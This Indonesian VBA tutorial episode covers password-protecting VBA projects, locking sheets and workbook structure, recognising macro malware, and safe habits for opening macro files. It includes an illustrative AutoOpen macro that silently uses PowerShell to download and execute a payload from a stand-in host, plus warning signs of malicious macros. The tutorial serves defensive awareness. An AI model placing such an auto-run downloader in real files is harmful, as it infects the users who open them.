Melindungi file dan kode: melindungi project VBA dengan password, proteksi sheet dan workbook serta struktur, memahami macro virus sebagai vektor serangan yang paling populer, dan kebiasaan aman membuka file ber-macro

Episode 16 membangun kepercayaan (trust) — sekarang episode ini membangun penguncian (protection). Kita akan melindungi project VBA dengan password, mengunci sheet dan workbook agar data tidak diubah, lalu memahami ancaman paling nyata bagi ekosistem macro: macro malware.
Mengapa ini penting? Karena begitu macro dibagikan ke tim, kalian kehilangan kendali atas siapa yang melihat dan mengubahnya — dan begitu file ber-macro beredar, risiko malware ikut beredar. Episode ini adalah gabungan perlindungan teknis dan kesadaran keamanan.
Password project VBA melindungi kode — mencegah orang lain membaca atau mengubah macro:
Alt+F11).Warning
Password project VBA bukan enkripsi yang kuat — ada banyak alat yang bisa membukanya. Ini pengunci honesty barrier, bukan benteng. Pemisahan kode sensitif dan backup rutin tetap wajib. Jangan pernah menyimpan password hanya di dalam file yang diproteksi itu sendiri.
Proteksi sheet mengunci sel sehingga pengguna tidak bisa mengubahnya — ideal untuk laporan dan template:
Sub ProteksiSheet()
With ThisWorkbook.Worksheets("Data")
.Unprotect "rahasia123"
.Protect "rahasia123", UserInterfaceOnly:=True, _
AllowFiltering:=True
End With
End SubParameter kunci:
UserInterfaceOnly:=True — proteksi hanya berlaku untuk aksi manual pengguna; macro tetap bisa mengubah sel. Kombinasi paling praktis: data dikunci dari pengguna, tapi kode kalian tetap bebas bekerja.AllowFiltering:=True — memfilter tetap boleh meski sheet terkunci.Proteksi workbook mengunci struktur — pengguna tidak bisa menambah, menghapus, atau memindahkan sheet:
Sub ProteksiWorkbook()
ThisWorkbook.Protect "rahasia123", Structure:=True, Windows:=False
End SubPerbedaan jelasnya:
| Proteksi | Melindungi |
|---|---|
| Sheet | Isi sel dari perubahan manual |
| Workbook (structure) | Susunan sheet dari penambahan/penghapusan |
Kadang hanya beberapa kolom yang harus dikunci, sisanya boleh diisi. Caranya: tandai rentang yang boleh diubah sebagai unlocked, lalu proteksi sheet:
Sub ProteksiSebagian()
Dim ws As Worksheet
Set ws = ThisWorkbook.Worksheets("Formulir")
' 1. Buka proteksi lama (jika ada)
ws.Unprotect
' 2. Kunci semua sel dulu
ws.Cells.Locked = True
' 3. Buka kolom yang boleh diisi pengguna
ws.Range("B2:B10").Locked = False
' 4. Aktifkan proteksi
ws.Protect "rahasia123", UserInterfaceOnly:=True
End SubPola ini adalah dasar membuat formulir isian yang aman: hanya kolom input yang terbuka.
Macro adalah salah satu vektor serangan paling sukses dalam sejarah keamanan. Bagaimana cara kerjanya?
.xlsm/.docm yang tampak normal (faktur, formulir, lamaran).Sub AutoOpen()
' Men-download dan mengeksekusi file dari internet
Shell "powershell -WindowStyle Hidden -Command " & _
"Invoke-WebRequest -Uri 'https://evil.example/payload.exe' " & _
"-OutFile $env:TEMP\payload.exe; Start-Process $env:TEMP\payload.exe"
End SubPerhatikan nama AutoOpen — prosedur dengan nama ini berjalan otomatis saat dokumen dibuka. Inilah alasan mengapa macro dari sumber tak dikenal sangat berbahaya: korban tidak perlu mengklik apa pun.
Danger
Ini contoh ilustrasi untuk dikenali — jangan pernah menjalankannya. Jika kalian menemukan pola seperti ini (Shell/PowerShell download, AutoOpen/Auto_Open) pada file yang tidak jelas asalnya, itu tanda macro berbahaya: tutup file, jangan aktifkan macro, dan scan dengan antivirus.
Rangkaian kebiasaan yang mencegah hampir semua infeksi macro:
.xlsm/.docm adalah sinyal merah.Block macros from running in Office files from the Internet memaksa macro dari internet mati total.| Tanda | Keterangan |
|---|---|
Lampiran .xlsm dari pengirim tak dikenal | Tinggi risiko |
Nama file ganda (invoice.pdf.xlsm) | Trik penyamaran |
| Prompt "aktifkan macro" pada dokumen tanpa fungsi macro | Mencurigakan |
| File meminta "Edit/Enable content" agar terlihat | Taktik umum phishing |
| AutoOpen/Shell/download pattern | Indikator kuat malware |
| Kesalahan | Dampak |
|---|---|
| Mengandalkan password VBA sebagai enkripsi | Terlalu lemah untuk kode sensitif |
Proteksi sheet tapi UserInterfaceOnly:=False | Macro kalian sendiri ikut terkunci |
| Lupa menyimpan password project | Kode terkunci selamanya |
| Mengaktifkan macro file tak dikenal | Infeksi malware / ransomware |
| Lupa backup | Tidak ada penawar saat ransomware menyerang |
Pada episode 17 ini, kalian telah melindungi kode dan memahami ancaman macro.
Inti yang harus dibawa pulang:
UserInterfaceOnly:=True) mengunci sel tanpa menghentikan macro; proteksi workbook mengunci struktur.Locked per sel memungkinkan formulir isian yang aman.AutoOpen + download/execution; berjalan tanpa klik.Di episode 18 selanjutnya kita membuka pintu ke dunia luar: file system, API & SQL — membaca dan menulis file teks dengan FileSystemObject, menjalankan program dengan Shell, memanggil REST API dengan WinHTTP/XMLHTTP, dan menghubungkan Excel ke database dengan ADODB dan QueryTables. Sampai jumpa di episode 18!